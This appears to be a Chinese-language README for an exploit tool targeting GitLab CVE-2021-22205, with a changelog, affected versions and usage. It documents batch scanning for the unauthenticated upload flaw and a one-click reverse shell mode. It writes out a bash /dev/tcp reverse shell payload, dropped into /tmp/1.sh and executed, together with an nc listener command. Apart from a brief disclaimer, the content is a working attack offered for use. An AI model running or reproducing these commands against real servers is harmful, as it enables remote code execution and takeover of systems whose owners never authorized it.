Share
## https://sploitus.com/exploit?id=B847AD89-69EB-53D0-9F76-3A94B2C9B65B
## 0x01 前言

⚠️**声明:本项目仅供学习和交流使用,请勿用于非法未授权测试!**

**更新记录**

11.2
- 增加了一键反弹`shell`功能
- 优化了相关流程


11.1
- 增加了批量检测 文本中可以直接使用ip检测,不需要写协议

10.30

- 增加了`burp`代理池
- 重写了命令行参数
- 增加了`gitlab`未授权批量以及单个检测功能



**影响版本**
```bash
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
```



**⚠️部分版本漏洞有坑点无法利用,详细复现测试分析文章请参看我的blog**

http://blog.seals6.top/index.php/archives/14/

跟几个师傅测试了一下,总结如下,如果还有问题,欢迎私聊!
```bash
v11版本需要授权登陆或者注册新用户进入后台,新建项目进行上传
v12版本存在未授权,管理员登陆或者注册新用户进入后台,新建项目进行上传
v13版本存在未授权,管理员登陆,默认情况允许注册新用户,但还需要管理员审核后才能进入后台
```

## 0x02 使用说明

### 安装

```bash
pip3 install - r requirements.txt
```

### 使用方法

```bash
usage: CVE-2021-22205.py [-h] [-w WAY] [-u URL] [-f FILE] [-ri REIP] [-rp REPORT]

CVE-2021-22205

optional arguments:
  -h, --help            show this help message and exit
  -w WAY, --way WAY     Exploit way unauthorized or reverse shell
  -u URL, --url URL     url like http://127.0.0.1:8080
  -f FILE, --file FILE  url file path
  -ri REIP, --reip REIP
                        reverse ip
  -rp REPORT, --report REPORT
                        reverse port

```

单个`url`进行未授权上传漏洞检测
```python
python3 CVE-2021-22205.py -w un -u http://127.0.0.1
```

进行批量未授权上传漏洞检测

```python
python3 CVE-2021-22205.py -w un -f ./url.txt
```

一键反弹`shell`,目前只支持单个`ip`

```python
python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口
```

### 举个小例子

此漏洞默认不回显,输入命令,例如以`dnslog`带数据进行判断是否存在漏洞

![](img/img1.png)

重回`dnslog`进行检测,有回显即成功

![](img/img2.png)

### 反弹shell

监听`server`端`4444`端口

```bash
nc -l 4444
```

![](img/img3.png)

利用工具,具体流程是上传反弹`shell`脚本到`/tmp/1.sh` 然后进行执行

```bash
echo 'bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1' > /tmp/1.sh

chmod +x /tmp/1.sh

/bin/bash /tmp/1.sh
```

工具一键执行反弹shell

```python
python3 CVE-2021-22205.py -w shell -u URL -ri 反弹IP -rp 反弹端口
```

![](img/img4.png)

成功`getshell`

![](img/img5.png)

## REF

https://hackerone.com/reports/1154542

https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/

https://github.com/RedTeamWing/CVE-2021-22205

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205/